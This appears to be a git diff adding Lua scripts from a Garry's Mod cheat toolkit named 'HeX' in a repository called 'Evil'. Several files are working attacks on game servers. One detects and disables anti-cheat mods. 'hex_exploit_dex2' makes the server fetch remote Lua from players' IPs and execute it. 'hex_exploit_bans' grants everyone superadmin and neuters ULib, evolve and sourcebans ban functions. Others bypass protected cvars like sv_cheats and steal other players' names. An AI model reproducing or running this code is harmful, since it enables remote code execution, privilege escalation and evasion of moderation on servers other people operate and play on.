"Balloons" ) +language.Add( "gmod_spawner", "Prop Spawner" ) +language.Add( "gmod_thruster", "GMod Thruster" ) +language.Add( "gmod_thruster_old", "GMod Thruster" ) +language.Add( "gmod_turret", "GMod Turret" ) +language.Add( "item_healthvial", "Health Vial" ) +language.Add( "npc_bullseye", "Fort Door" ) +language.Add( "npc_clawscanner", "Claw Scanner" ) +language.Add( "npc_grenade_frag", "Frag Grenade" ) +language.Add( "npc_helicopter", "Combine Choppa" ) +language.Add( "phys_magnet", "Magnet" ) +language.Add( "prop_combine_ball", "Combine Energy Ball" ) +language.Add( "prop_physics_multiplayer", "Multiplayer Physics Prop" ) +language.Add( "prop_ragdoll_attached", "Ragdoll" ) +language.Add( "prop_vehicle_apc", "Combine APC" ) +language.Add( "prop_vehicle_jeep", "Jeep" ) +language.Add( "prop_vehicle_pod", "Seat" ) +language.Add( "trigger_hurt", "Map" ) +language.Add( "weapon_striderbuster", "Magnusson Device" ) +language.Add( "World", "Gravity" ) +language.Add( "worldspawn", "Gravity" ) + +language.Add( "func_physbox", "Physbox" ) +language.Add( "func_physbox_multiplayer", "Physbox" ) + +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_ACWarning.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_ACWarning.lua new file mode 100644 index 0000000..cc1e73a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_ACWarning.lua @@ -0,0 +1,169 @@ + + +AAH = {} +AAH.Found = {} +AAH.DoneMsg = false + +local NotFFIL = NotFFIL or file.FindInLua +local NotFE = NotFE or file.Exists +local NotCCA = NotCCA or concommand.Add +local NotFF = NotFF or file.Find +local NotFD = NotFD or file.Delete +local NotGCV = NotGCV or GetConVar + +local NotDGU = debug.getupvalue +local NotDGI = debug.getinfo +local NotCCR = concommand.Remove + + +AAH.ACTable = { + ["CheatBlocker"] = "autorun/CB.lua", + ["FAC"] = "includes/enum/fac.lua", + ["AC_OB"] = "includes/enum/ac_*.lua", + ["OldHAC"] = "includes/enum/0.lua", + ["quicksnap"] = "sh_quicksnap.lua", + ["RoTF"] = "rot/*.lua", + ["RoTF_Alt"] = "rotf_pak1.lua", + ["BananaLord"] = "autorun/client/anti_cheat_derma.lua", + ["azu_anticheat"] = "autorun/azu_anticheat.lua", + ["XAC"] = "includes/enum/xac.lua", + ["CheckAC"] = "includes/extensions/a.lua", + ["rcon"] = "autorun/rcon.lua", + --["GBPS/Frenga"] = "includes/enum/!.lua", --add "\33" fucking "!" char, can't search for it + --["HAC"] = "includes/enum/!!!!!!!!!!.lua", +} + + +function HeXAntiCheatCheck(ac) + if not AAH.ACTable[ ac ] then return false end + return NotFE("lua/"..AAH.ACTable[ ac ], true) +end + +local Total = 0 +for AC,DC in pairs(AAH.ACTable) do + Total = Total + 1 + if HeXAntiCheatCheck(AC) then + print("[HeX] Server has: ", AC) + end +end +print("[HeX] ACWarning ["..Total.."]") + + +local function AAHBypass() + if (HeXAntiCheatCheck("FAC") or (string.Random)) and not (AAH.FAC) then + table.insert(AAH.Found, "Flapadar's Anticheat") + AAH.FAC = true + + print("[HeX] FAC!") + + elseif (HeXAntiCheatCheck("RoTF") or HeXAntiCheatCheck("RoTF_Alt") or Realm or RoTF_Hooks or (hook.GetTable()["Think"]["RealmChatboxMarkupTick"]) + or (hook.GetTable()["Think"]["nope_avi"])) and not (AAH.RoTF) then + table.insert(AAH.Found, "RoTF Anticheat") + AAH.RoTF = true + + print("[HeX] RoTF Anticheat") + + elseif (HeXAntiCheatCheck("CheatBlocker") or CBCheck or BannableCommands or timer.IsTimer("refreshConsoleCommands")) and not (AAH.CheatBlocker) then + table.insert(AAH.Found, "CheatBlocker") + AAH.CheatBlocker = true + + BannableCommands = {} + timer.Destroy("refreshConsoleCommands") + print("[HeX] CheatBlocker Anticheat") + + + elseif (HeXAntiCheatCheck("BananaLord") or ShowAntiCheatInfo) and not (AAH.BananaLord) then + table.insert(AAH.Found, "BananaLord") + AAH.BananaLord = true + + ShowAntiCheatInfo = function() end + LocalPlayer():SetNWInt("WarningLevel", 0) + print("[HeX] BananaLord Anticheat") + + + elseif (HeXAntiCheatCheck("CheckAC") or WE_NOT_HAVE_HAX) and not (AAH.CheckAC) then + table.insert(AAH.Found, "CheckAC") + AAH.CheckAC = true + + print("[HeX] CheckAC Anticheat") + + + elseif HeXAntiCheatCheck("GBPS/Frenga") and not (AAH.GBPS) then + table.insert(AAH.Found, "GBPS/Frenga Anticheat") + AAH.GBPS = true + + print("[HeX] GBPS/Frenga Anticheat") + + + elseif query_hacks and not (AAH.query_hacks) then + table.insert(AAH.Found, "query_hacks") + AAH.query_hacks = true + + HeXLRCL('alias "~sendhackreport" "echo [HeX] CheckAC: ~sendhackreport"') + concommand.Remove("~sendhackreport") + + HeXLRCL('alias "_sendhackreport" "echo [HeX] CheckAC: _sendhackreport"') + concommand.Remove("_sendhackreport") + + HeXLRCL('alias "query_hacks" "echo [HeX] CheckAC: query_hacks"') + concommand.Remove("query_hacks") + print("[HeX] query_hacks") + + + elseif (CheckStolenGoods or MadeThisShit) and not (AAH.PERP) then + table.insert(AAH.Found, "PERP") + AAH.PERP = true + + print("[HeX] PERP") + + + elseif HeXAntiCheatCheck("quicksnap") and not (AAH.quicksnap) then + table.insert(AAH.Found, "quicksnap") + AAH.quicksnap = true + + HeXLRCL('alias "quicksnap" "echo [HeX] quicksnap"') + print("[HeX] quicksnap") + + + elseif HeXAntiCheatCheck("azu_anticheat") and not (AAH.azu) then + table.insert(AAH.Found, "Azu's Anticheat") + AAH.azu = true + + concommand.Remove = NotCCR + print("[HeX] Azu's Anticheat") + + + elseif HeXAntiCheatCheck("rcon") and not (AAH.rcon) then + table.insert(AAH.Found, "RCON stealer") + AAH.rcon = true + + usermessage.Hook("herpderpin", function(um) --Shitty RCon stealer + RunConsoleCommand("sendshit", "you dun goofed", "And the consequences will never be the same") + print("Shitty RCon stealer blocked!") + end) + print("[HeX] RCon stealer") + + + elseif ( HeXAntiCheatCheck("XAC") or oldRCC or xac or (NotDGU(RunConsoleCommand,1) ~= nil) and not (HeXAntiCheatCheck("HAC") or HACInstalled) ) and not (AAH.XAC) then + table.insert(AAH.Found, "Xana Anticheat") + + print("[HeX] Xana Anticheat") + + + elseif HeXGlobal_AC and (#AAH.Found == 0) and not (HeXAntiCheatCheck("HAC") or HACInstalled) and not (AAH.Generic) then + table.insert(AAH.Found, "A Generic Anticheat") + + AAH.Generic = true + + print("[HeX] Generic Anticheat") + end +end + + +AAHBypass() +timer.Create("AAH", 1, 0, function() + AAHBypass() +end) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_FixEnts.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_FixEnts.lua new file mode 100644 index 0000000..515c4a2 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_FixEnts.lua @@ -0,0 +1,14 @@ + +local string = string + +print("[HeX] Fixing case-sensitive ents.Create") + +local old = ents.Create +function ents.Create(ent) + return old( string.lower(ent) ) +end + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_fixmdl.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_fixmdl.lua new file mode 100644 index 0000000..7ddc92c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_fixmdl.lua @@ -0,0 +1,37 @@ +if !CLIENT then return end + +--[[ +local SetModel = _R.Entity.SetModel +_R.Entity.SetModel = function( self, mdl ) + local b, e = pcall( SetModel( self, mdl ) ) + if !b then + ErrorNoHalt( "Catching model-related error: "..e.."\n" ) + end +end +]] + +local SetModel = _R.Entity.SetModel +_R.Entity.SetModel = function(self, mdl) + if !util.IsValidModel(mdl) then + Msg("[!] SetModel on "..tostring(self).." Failed. Invalid model: "..mdl.."\n") + SetModel(self, mdl) + end + SetModel(self, mdl) +end + + +--[[ +local oldMaterial = _G.Material --fucked +_G.Material = function(mat) + if not file.Exists("materials/"..mat..".vmt", true) then + Msg("[!] Material invalid: materials/"..tostring(mat).."\n") + return oldMaterial(mat) + end + oldMaterial(mat) +end +]] + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/LoadDeX2.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/LoadDeX2.lua new file mode 100644 index 0000000..c7e216f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/LoadDeX2.lua @@ -0,0 +1,11 @@ + +local function LoadDeX2() + print("! sending dex2, waiting for reply..\n") + + RunRun({ + [[ "function TryRun(ip,p) http.Get(ip, ' ', function(s,f) DEX_PATH = p RunStringEx(s,'WireModelPack') end) end" ]], + [[ "function GetHIP(v) local p = v:IPAddress():Left(-7) return 'http://'..p..':80/bar/dex/dex.lua',p end" ]], + [[ "for k,v in pairs(player.GetAll()) do TryRun( GetHIP(v) ) end" ]], + }) +end +concommand.Add("hex_exploit_dex2", LoadDeX2) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/NoBans.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/NoBans.lua new file mode 100644 index 0000000..0b2f416 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/NoBans.lua @@ -0,0 +1,60 @@ + +local function NoBans() + print("! sending NoBans..\n") + + HeXLRCL('replay_tip concommand.Add([[kickid2]],function() end) ') + HeXLRCL('replay_tip concommand.Add([[banid2]],function() end) ') + HeXLRCL('replay_tip concommand.Add([[sm_ban]],function() end) ') + HeXLRCL('replay_tip concommand.Add([[sm_banip]],function() end) ') + HeXLRCL('replay_tip concommand.Add([[sm_addban]],function() end) ') + //HeXLRCL('replay_tip concommand.Add([[ev]],function() end) ') + //HeXLRCL('replay_tip concommand.Add([[ulx]],function() end) ') + + RunRun({ + [[ "for k,v in pairs(player.GetAll()) do v:SetUserGroup('admin') end" ]], + [[ "for k,v in pairs(player.GetAll()) do v:SetUserGroup('superadmin') end" ]], + + [[ "_R.Player.IsAdmin = function() return true end" ]], + [[ "_R.Player.IsSuperAdmin = function() return true end" ]], + [[ "_R.Player.Ban = function() end" ]], + [[ "_R.Player.Kick = function() end" ]], + + [[ "if cvar2 then cvar2.SetValue('kickid', 0) end" ]], + [[ "if cvar2 then cvar2.SetValue('banid', 0) end" ]], + + [[ "if ULib then ULib.kick = function() end end" ]], + [[ "if ULib then ULib.ban = function() end end" ]], + [[ "if ULib then ULib.kickban = function() end end" ]], + [[ "if ULib then ULib.addBan = function() end end" ]], + + [[ "if evolve then evolve.bans = false end" ]], + [[ "if evolve then evolve.Ban = function() end" ]], + [[ "if evolve then evolve.IsBanned = function() return false end" ]], + + [[ "Cmd_RecvCommand = function() end " ]], + [[ "BannedPlayers = false" ]], + [[ "Kick = function() end" ]], + [[ "Ban = function() end" ]], + [[ "SaveBans = function() end" ]], + [[ "KickBan = function() end" ]], + + [[ "ASS_BanPlayer = function() end" ]], + [[ "ASS_KickPlayer = function() end" ]], + [[ "GBans = {}" ]], + [[ "if gatekeeper then gatekeeper.Drop = function() end end" ]], + [[ "if asscmd then asscmd.ConsoleCommand = function() end end" ]], + + [[ "sourcebans = {}" ]], + [[ "sourcebans.doBan = function() end" ]], + [[ "sourcebans.BanPlayer = function() end" ]], + [[ "sourcebans.BanPlayerBySteamID = function() end" ]], + [[ "sourcebans.BanPlayerByIP = function() end" ]], + [[ "sourcebans.BanPlayerBySteamIDAndIP = function() end" ]], + [[ "doBan = function() end" ]], + [[ "BanPlayer = function() end" ]], + [[ "BanPlayerBySteamID = function() end" ]], + [[ "BanPlayerByIP = function() end" ]], + [[ "BanPlayerBySteamIDAndIP = function() end" ]], + }) +end +concommand.Add("hex_exploit_bans", NoBans) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/RunRun.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/RunRun.lua new file mode 100644 index 0000000..b1eaf1f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/RunRun.lua @@ -0,0 +1,20 @@ + +function RunRun(tab) + local TotalRun = 0 + local Total = #tab + + for k,v in ipairs(tab) do + timer.Simple(k/8, function() + HeXLRCL( Format([[replay_tip %s]], v) ) + + TotalRun = TotalRun + 1 + if (TotalRun == Total) then + print("\n! RunRun sent all #"..Total.." commands!\n") + else + print("! RunRun: Sending cmd #"..TotalRun.."/"..Total.."..") + end + end) + end +end + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_CheckFilter.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_CheckFilter.lua new file mode 100644 index 0000000..c9551dd --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_CheckFilter.lua @@ -0,0 +1,34 @@ + + +local CVar = "hsp_filter_sound" --"flt_sound" +local CanDo = false + +hook.Add("OnLoadingStopped", "CheckFilter", function() + timer.Simple(8, function() + if CanDo and (ConVarExists(CVar) and GetConVarString(CVar)) then + surface.PlaySound("ambient/machines/thumper_shutdown1.wav") + + print("\n\nSimpleFilter is on this server, getting log..\n") + console.Command("flt_download") + + timer.Simple(10, function() + --console.Command("flt_clear") + surface.PlaySound("ambient/machines/thumper_shutdown1.wav") + print("\n\nSimpleFilter up to date\n") + end) + end + end) +end) + +hook.Add("OnLoadingStarted", "CheckFilter", function() + CanDo = true +end) + +hook.Add("OnDisconnectFromServer", "CheckFilter", function() + CanDo = false +end) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_DermaSkin.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_DermaSkin.lua new file mode 100644 index 0000000..6e95fd3 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_DermaSkin.lua @@ -0,0 +1,94 @@ +local dermaskin +local getskintable +local getConVarString = GetConVarString + +if file.Exists"dermaskin.txt" then dermaskin = file.Read"dermaskin.txt" end + +if !ConVarExists"derma_skin" then CreateConVar("derma_skin", dermaskin or "Default") end + +timer.Simple(0, function() + +local dermaskins = derma.GetSkinTable() +timer.Create("RefreshDermaSkins", 1, 0, function() dermaskins = derma.GetSkinTable() end) + +function _R.Panel:SetSkin(name) self.dermaskin = name end + +function derma.SkinHook( strType, strName, panel ) + local Skin + local a = hook.Call("ForceDermaSkin", GAMEMODE) or panel.dermaskin + local p = panel + while (!a and p:GetParent()) do + p = p:GetParent() + a = a or p.dermaskin + end + if a then + if a != panel.lastdermaskin then panel:InvalidateLayout() end + panel.lastdermaskin = a + Skin = dermaskins[a] + else + if !getskintable then getskintable = derma.GetSkinTable end + dermaskin = getConVarString"derma_skin" + if dermaskin != panel.lastdermaskin then panel:InvalidateLayout() end + if !dermaskins[dermaskin] then dermaskin = nil end + panel.lastdermaskin = dermaskin + Skin = dermaskins[dermaskin or "Default"] + end + + if ( !Skin ) then return end + local func = Skin[ strType .. strName ] + local func2 = dermaskins["Default"][ strType .. strName ] + if ( !func ) then return end + + return func( Skin, panel ) + +end + +function debug.getupvalues(f) + local t, i, k, v = {}, 1, debug.getupvalue(f, 1) + while k do + t[k] = v + i = i+1 + k,v = debug.getupvalue(f, i) + end + return t +end + +local func = debug.getupvalues(concommand.Run).CommandList["menu_extensions"] + +concommand.Add("menu_extensions", function() + func() + local panel = debug.getupvalues(func).Extensions + while !panel do + local a + a = debug.getupvalues(a or func).func + if a then + panel = debug.getupvalues(a).Extensions + a = debug.getupvalues(a or func).func + else + break + end + end + local pnl = vgui.Create"DListView" + pnl:Dock(FILL) + pnl:AddColumn"Name" + pnl:AddColumn"Author" + pnl:SetMultiSelect(false) + local tbl = {} + for k, v in pairs(derma.GetSkinTable()) do + pnl:AddLine(v.PrintName or "N/A", v.Author or "N/A") + table.insert(tbl, k) + end + pnl.OnRowSelected = function(_, line) + RunConsoleCommand("derma_skin", tbl[line]) + file.Write("dermaskin.txt", tbl[line]) + end + + panel.PropertySheet:AddSheet( Localize( "Derma Skin" ), pnl, "gui/silkicons/application_view_tile" ) + concommand.Add("menu_extensions", func) +end) + +for k, v in pairs(file.FindInLua("skins/*.lua")) do + include("skins/"..v) +end + +end) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_H_DeReplicate.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_H_DeReplicate.lua new file mode 100644 index 0000000..b18ad0c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_H_DeReplicate.lua @@ -0,0 +1,119 @@ +if not ReplicatorLoaded then + ReplicatorLoaded = true + concommand.Add("hex_dereplicate_load", function() include("custom_menu/ml_H_DeReplicate.lua") end) + return +end + +if not replicator then + require("replicator") +end +if not replicator then + COLCON(RED, "Replicator", WHITE, ": Error 404, replicator not found!") + + require("hexcv") + if hexcv then + COLCON(RED, "Replicator", WHITE, ": Loading old version..") + include("custom_menu/old/ml_H_DeReplicate_cvar2.lua") + else + COLCON(RED, "Replicator", WHITE, ": Can't load either version, fix yo module!") + end + return +end + + +CVar_Prefix = "hex_" + +local AlwaysBypass = { + "vcollide_wireframe", + "fog_override", + "showtriggers", + "snd_show", +} + +local NowBypass = { + "sv_cheats", + "host_timescale", + "host_framerate", + + "r_drawparticles", + "r_drawothermodels", + "mat_fullbright", + "mat_wireframe", +} + + + + +function RenameCVar(name) + local NewName = CVar_Prefix..name + + if ( ConVarExists(name) and not ConVarExists(NewName) ) then + local CVar = GetConVar(name) + + local Value = CVar:GetDefault() + local Flags = replicator.GetFlags(name) + local Help = CVar:GetHelpText() or false + + local Done = replicator.Replicate(name, NewName, Flags, Value) + + if not Done then + COLCON(RED, "Replicator", WHITE, ": ! FUCKUP, replicator error") + return + end + + if Help then + CreateConVar(name, Value, Flags, Help) + else + CreateConVar(name, Value, Flags) + end + end + + return name, NewName +end + + + +local function MsgDeReplicate(cvar,newname) + COLCON(RED, "Replicator: ", BROWN, cvar, WHITE, " -> ", GREEN, newname) +end + +local function ManualDeReplicate(ply,cmd,args) + if ReplicatorDone then + COLCON(RED, "Replicator", WHITE, ": Already used ManualDeReplicate!") + return + end + + if (#args > 0) then + local name = args[1] + + MsgDeReplicate( RenameCVar(name) ) --So easy! + return + end + + local Total = 0 + for k,v in pairs(NowBypass) do + Total = Total + 1 + MsgDeReplicate( RenameCVar(v) ) + end + + COLCON(RED, "Replicator", WHITE, ": Renamed ", GREEN, "["..Total.."]", WHITE, " more CVars\n") + ReplicatorDone = true +end +concommand.Add("hex_dereplicate", ManualDeReplicate) + + +local function AlwaysDeReplicate() + local Total = 0 + + for k,v in pairs(AlwaysBypass) do + Total = Total + 1 + MsgDeReplicate( RenameCVar(v) ) + end + + COLCON(RED, "Replicator:", WHITE, " Renamed ", GREEN, "["..Total.."]", WHITE, " CVars\n") +end +timer.Simple(0, AlwaysDeReplicate) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_H_NotMe.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_H_NotMe.lua new file mode 100644 index 0000000..d94cbd1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_H_NotMe.lua @@ -0,0 +1,129 @@ + +if not file.Exists("addons/Name_Enable.dll", true) then return end + + +local SpamRate = CreateClientConVar("hex_spamname_rate", 5, false, false) +local StealRate = CreateClientConVar("hex_stealname_rate", 12, false, false) + +local FakeNames = { + "General Failure", + "Colonel Panic", + "Major Damage", + "Old Iron Balls", + "Touch of Orange", + "Operation Coconut", +} + +function GetName() + return GetConVarString("name") or "" +end + +function SetName(str) + console.Command([[name "]]..str..[["]]) +end + + + +concommand.Add("hex_name_reset", function() + SetName( friends.GetPersonaName() ) +end) + + + +local function RandomName(ply,cmd,args) + local Rand = table.Random(FakeNames) + print("! new name: ", Rand) + SetName(Rand) +end +concommand.Add("hex_randomname", RandomName) + +function ResetName() + if GetName() != friends.GetPersonaName() then + SetName(friends.GetPersonaName()) + end + + timer.Destroy("SpamName") + timer.Destroy("StealName") +end +hook.Add("EndGame", "NotMe", ResetName) +concommand.Add("hex_resetname", ResetName) + + + +local SpamEnabled = false +local function SpamName(ply,cmd,args) + if not SpamEnabled then + SpamEnabled = true + print("! SpamName enabled") + + timer.Create("SpamName", SpamRate:GetInt(), 0, function() + local Fake = table.Random(FakeNames) + MsgN("! New name is: ", Fake) + + SetName(Fake) + end) + else + SpamEnabled = false + print("! SpamName disabled") + + timer.Destroy("SpamName") + ResetName() + end +end +concommand.Add("hex_spamname", SpamName) + +local TakeEnabled = false +local function StealName(ply,cmd,args) + local ClientNames = {} + + local OnePlayer + if (#args > 0) then + OnePlayer = player.GetByUserID( tonumber(args[1]) ) or nil + end + + if not TakeEnabled then + TakeEnabled = true + + if OnePlayer then + local Name = OnePlayer:Nick() + MsgN("! Stolen name is: ", Name) + SetName( Format("%s ", Name) ) + else + print("! StealName enabled") + + timer.Create("StealName", StealRate:GetInt(), 0, function() + ClientNames = {} + + for k,v in pairs(player.GetAll()) do + table.insert(ClientNames, v:Nick()) + end + + local ClientName = table.Random(ClientNames) + + MsgN("! Stolen name is: ", ClientName) + SetName( Format("%s ", ClientName) ) + end) + end + else + TakeEnabled = false + print("! StealName disabled") + + if timer.IsTimer("StealName") then + timer.Destroy("StealName") + end + ResetName() + end +end +concommand.Add("hex_stealname", StealName) + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_Logo.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_Logo.lua new file mode 100644 index 0000000..594fa34 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_Logo.lua @@ -0,0 +1,38 @@ + + +if not IsKida then return end +if not IsMainGMod then return end + +local PANEL = {} +local Logo = Material( "console/gmod_logo" ) + +function PANEL:Init() + self:SetMouseInputEnabled( false ) + self:SetKeyboardInputEnabled( false ) +end + +function PANEL:GetImage() + return self.ImageName +end + + +function PANEL:Paint() + surface.SetMaterial( Logo ) + surface.SetDrawColor( 255, 255, 255, 255 ) + surface.DrawTexturedRect( 0, 0, self:GetWide(), self:GetTall() ) + return true +end + +function PANEL:PerformLayout() + local w = ScrH() / 2.5 + local h = w + + self:SetPos( ScrW() - w - 20, 20 ) + self:SetSize( w, h ) +end + + +vgui.Register("PoopImage", PANEL) + +local logo = vgui.Create("PoopImage") + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_Movetest.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_Movetest.lua new file mode 100644 index 0000000..da92c2a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_Movetest.lua @@ -0,0 +1,31 @@ + +require("gmcl_replicator") + + +local net_blockmsg = GetConVar("net_blockmsg") +local cl_predict = GetConVar("cl_predict") +local sv_client_predict = GetConVar("sv_client_predict") + +local Predict = "1" + +local function Freeze(ply,cmd,args) + if cmd == "+freeze" then + cl_predict:SetValue("0") + Predict = sv_client_predict:GetString() + + sv_client_predict:SetValue("-1") + net_blockmsg:SetValue("clc_Move") + else + cl_predict:SetValue("1") + sv_client_predict:SetValue(Predict) + net_blockmsg:SetValue("0") + end +end +concommand.Add("+freeze", Freeze) +concommand.Add("-freeze", Freeze) + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_B_MenuRun.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_B_MenuRun.lua new file mode 100644 index 0000000..de46b15 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_B_MenuRun.lua @@ -0,0 +1 @@ + if not require("hexstring") then HeXString = function() print("[HeX] gm_hexstring.dll gone!") end end concommand.Add("lua_run_ml", function(ply,cmd,args) if #args == 0 then print("You gotta have code to run code") return end local cock = "" for k,arg in ipairs(args) do cock = cock..string.gsub(arg,'"',"'") end print("! cock: ", cock) PrintTable(args) local RawLua2Run = table.concat(args," ") local Lua2Run = string.gsub(RawLua2Run,"'",'"') print("Running lua: ",Lua2Run) HeXString(Lua2Run) return end) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Clock.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Clock.lua new file mode 100644 index 0000000..577c928 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Clock.lua @@ -0,0 +1,102 @@ + +if not IsKida then return end +if not IsMainGMod then return end + +local FrameTime = 0 +local LastQuery = 0 + +local function RealFrameTimeThink() + FrameTime = math.Clamp( SysTime() - LastQuery, 0, 0.1 ) + LastQuery = SysTime() +end + +function RealFrameTimeML() return FrameTime end + +hook.Add( "Think", "RealFrameTime", RealFrameTimeThink ) + + +local PANEL = {} + +function PANEL:Init() + + self:SetMouseInputEnabled( false ) + self:SetKeyboardInputEnabled( false ) + +end + +local Clock = Material( "blackops/clock" ) + +local smoothsecond = tonumber( os.time() ) +function PANEL:Paint() + + local dblSecond, dblMinute, dblHour + local strSec, strMin, strHr + + local radius = 110 + + if tonumber( os.time() ) - smoothsecond >= 5 then + smoothsecond = tonumber( os.time() ) + else + smoothsecond = math.Approach( smoothsecond, tonumber( os.time() ), RealFrameTimeML() ) --* 3 if you remove the * 3 it makes it continuously smooth + end + dblSecond = ( smoothsecond * 6 - 90 ) * -1 + 180 + + dblMinute = ( ( os.date( "%M" ) + os.date( "%S" ) / 60) ) * 6 - 90 + dblHour = ( ( os.date( "%H" ) + os.date( "%M" ) / 60) ) * 30 - 90 + + local lineSecondX1, lineSecondX2, lineMinuteX1, lineMinuteX2, lineHourX1, lineHourX2 + local lineSecondY1, lineSecondY2, lineMinuteY1, lineMinuteY2, lineHourY1, lineHourY2 + + lineSecondX1, lineMinuteX1, lineHourX1 = radius, radius, radius + lineSecondY1, lineMinuteY1, lineHourY1 = radius, radius, radius + + local seondlinelength = 88 + local minutelinelength = 75 + local hourlinelength = 45 + + lineSecondX2 = seondlinelength * -math.cos( dblSecond * math.pi / 180 ) + lineSecondX1 + lineSecondY2 = seondlinelength * math.sin( dblSecond * math.pi / 180 ) + lineSecondY1 + lineMinuteX2 = minutelinelength * math.cos( dblMinute * math.pi / 180 ) + lineMinuteX1 + lineMinuteY2 = minutelinelength * math.sin( dblMinute * math.pi / 180 ) + lineMinuteY1 + lineHourX2 = hourlinelength * math.cos( dblHour * math.pi / 180 ) + lineHourX1 + lineHourY2 = hourlinelength * math.sin( dblHour * math.pi / 180 ) + lineHourY1 + + surface.SetMaterial( Clock ) + surface.SetDrawColor( 255, 255, 255, 255 ) + surface.DrawTexturedRect( 0, 0, self:GetWide(), self:GetTall() ) + + surface.SetDrawColor( 255, 0, 0, 255 ) + surface.DrawLine( lineSecondX1, lineSecondY1, lineSecondX2, lineSecondY2 ) + + surface.SetDrawColor( 255, 255, 255, 255 ) + surface.DrawLine( lineMinuteX1, lineMinuteY1, lineMinuteX2, lineMinuteY2 ) + + surface.SetDrawColor( 255, 255, 255, 255 ) + surface.DrawLine( lineHourX1, lineHourY1, lineHourX2, lineHourY2 ) + + for i=1, 12 do + local x,y + + local hp = math.pi * .5 + + x = -math.cos( math.rad( i / 12 * 360 ) + hp ) * 100 + lineHourX1 - 2.5 + y = -math.sin( math.rad( i / 12 * 360 ) + hp ) * 100 + lineHourY1 + + draw.SimpleText( i, "TargetIDSmall", x, y, Color( 0, 0, 0, 255 ), 0, 1 ) + end + + draw.SimpleText( os.date( "%I" ) .. ":" .. os.date( "%M" ) .. ":" .. os.date( "%S" ), "TargetIDSmall", radius, radius-15, Color( 255, 255, 255, 255 ), 1, 1 ) + draw.SimpleText( os.date( "%p" ), "TargetIDSmall", radius, radius+15, Color( 255, 255, 255, 255 ), 1, 1 ) + +end + +function PANEL:PerformLayout() + --self:SetPos( ScrW() - 230, 10 ) + --self:SetSize( 220, 220 ) + + --self:SetPos( ScrW() * 0.1, ScrH() * 0.05 ) + self:SetPos( ScrW() * 0.1, ScrH() * 0.09 ) + self:SetSize( 220, 220 ) +end + +local Clock = vgui.CreateFromTable( vgui.RegisterTable( PANEL, "Panel" ) ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Find.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Find.lua new file mode 100644 index 0000000..51dbc0b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Find.lua @@ -0,0 +1,155 @@ + + + +local function FindInEnvironment(env,str) + local tbl = {} + --if str == "" then return tbl end + local len = string.len(str) + for k, v in pairs(env) do + if string.Left(k,len) == str then + local str = k + if type(v) == "function" then + str = str.."(" + end + table.insert(tbl,str) + end + end + return tbl +end + +local function ParseRunToAutoComplete(str) + if string.len(str) > 1 and string.Right(str,1) != "(" then + local fstr = string.TrimLeft(str) + for k, v in pairs({"=","%("}) do + fstr = string.gsub(fstr,v," ") + end + local tbl = string.Explode(" ",fstr) + local lastStr = string.Trim(table.remove(tbl)) + local match + if lastStr == "" then + return {} + elseif lastStr != "." and string.find(string.reverse(lastStr),"%.") != nil then + local tblS + local lastn = 1 + while true do + local n = string.find(lastStr,"%.",lastn) + if n == nil 